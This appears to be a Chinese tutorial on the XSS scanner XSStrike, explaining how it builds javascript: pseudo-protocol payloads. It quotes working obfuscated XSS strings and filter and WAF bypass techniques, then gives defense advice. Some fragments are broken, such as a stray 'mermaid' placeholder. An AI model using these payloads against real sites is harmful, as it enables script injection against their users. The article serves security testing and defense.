XSStrike JavaScript伪协议利用:从payloads列表学习攻击技巧

XSStrike JavaScript伪协议利用:从payloads列表学习攻击技巧

【免费下载链接】XSStrike 【免费下载链接】XSStrike 项目地址: https://gitcode.com/gh_mirrors/xss/XSStrike

一、JavaScript伪协议基础与应用场景

JavaScript伪协议(JavaScript Pseudo-protocol)是一种特殊的URL格式,允许在浏览器中直接执行JavaScript代码。在XSS攻击中,攻击者常利用该协议构造恶意链接,当用户点击或页面加载时触发代码执行。XSStrike作为专业的XSS检测工具,在core/generator.py中通过系统化的payload生成逻辑,实现了对JavaScript伪协议的高效利用。

二、XSStrike中的伪协议实现机制

2.1 动态payload生成逻辑

XSStrike在core/generator.py的第72行和第109行明确处理了JavaScript伪协议场景:

# href属性中的javascript伪协议生成
elif attributeName == 'href' and attributeValue == xsschecker:
    for function in functions:
        found = True
        vectors[10].add(r('javascript:') + function)

# object标签data属性处理
elif tag == 'object' and attributeName == 'data' and attributeValue == xsschecker:
    for function in functions:
        found = True
        vectors[10].add(r('javascript:') + function)

上述代码通过r('javascript:')函数生成大小写混淆的协议头(如JavaScript:JAVASCRIPT:),结合core/config.py中定义的functions列表构造完整攻击链。

2.2 核心配置参数解析

core/config.py定义了伪协议攻击的关键组件:

  • 协议头变异:通过randomUpper函数实现大小写混淆
  • 函数列表functions元组包含多种弹窗触发方式
    functions = (
        '[8].find(confirm)', 'confirm()',
        '(confirm)()', 'co\u006efir\u006d()',  # 包含Unicode编码字符
        '(prompt)``', 'a=prompt,a()'
    )
    
  • 填充字符eFillingsfillings定义了绕过空格过滤的特殊字符组合

三、实战化payload解析与绕过技巧

3.1 基础伪协议payload结构

XSStrike的core/config.py第62行提供了典型的伪协议攻击示例:

<a/href=javascript&colon;co\u006efirm&#40;&quot;1&quot;&#41;>clickme</a>

该payload通过以下技巧实现绕过:

  1. 使用HTML实体编码&colon;替代冒号:
  2. 对函数名confirm进行Unicode拆分co\u006efirm
  3. 用HTML实体&#40;&#41;替代括号()

3.2 高级混淆技术

core/config.py的payloads列表中,第45-64行展示了多种伪协议变种:

payloads = (
    '<a/href=javascript&colon;co\u006efirm&#40;&quot;1&quot;&#41;>clickme</a>',
    '<svg%0Aonload=%09((pro\u006dpt))()//',  # 包含换行符和制表符混淆
    '<iMg sRc=x:confirm`` oNlOad=e\u0076al(src)>'  # 混合伪协议与事件触发
)

这些payload利用了:

  • URL编码字符(%0A换行、%09制表符)
  • 函数调用的不同语法(confirm(), confirm```,(confirm)()`)
  • 标签属性多位置注入(href, src, onload等)

四、防御绕过实战案例

4.1 过滤绕过思路

XSStrike在core/generator.py第7-171行的向量生成逻辑中,针对不同防御场景设计了分级绕过策略:

  1. 基础过滤:使用r('javascript:')生成大小写变异的协议头
  2. 严格过滤:通过%0dx等填充字符插入干扰字符
  3. 深度防御:结合事件处理器(如onmouseover)与伪协议双重触发

4.2 WAF特征规避

工具在core/wafDetector.py中内置了WAF特征库,可根据检测结果自动调整伪协议payload:

  • 对特定CDN防护:增加Unicode编码比例
  • 对ModSecurity等规则引擎:使用函数调用链a=prompt,a()替代直接调用

五、payload生成流程与工具使用

5.1 伪协议payload生成流程

mermaid

5.2 XSStrike工具使用示例

通过以下命令可专项测试JavaScript伪协议利用效果:

python xsstrike.py -u "http://example.com/page.php?id=1" --payloads-file core/config.py

工具将自动加载core/config.py中的伪协议payload模板,并根据目标环境动态调整生成策略。

六、防御建议与安全实践

  1. 输入验证:严格校验URL参数,禁止javascript:等危险协议
  2. 输出编码:对HTML属性值进行实体编码,特别是href、src等位置
  3. 内容安全策略:配置CSP规则限制内联脚本执行
  4. 定期检测:使用XSStrike的modes/scan.py模块进行自动化检测

通过深入理解XSStrike的payload生成逻辑,安全人员可有效提升XSS漏洞的检测与防御能力。建议结合core/generator.py的向量生成算法与db/wafSignatures.json的防御特征库,构建针对性的安全测试方案。

【免费下载链接】XSStrike 【免费下载链接】XSStrike 项目地址: https://gitcode.com/gh_mirrors/xss/XSStrike

创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值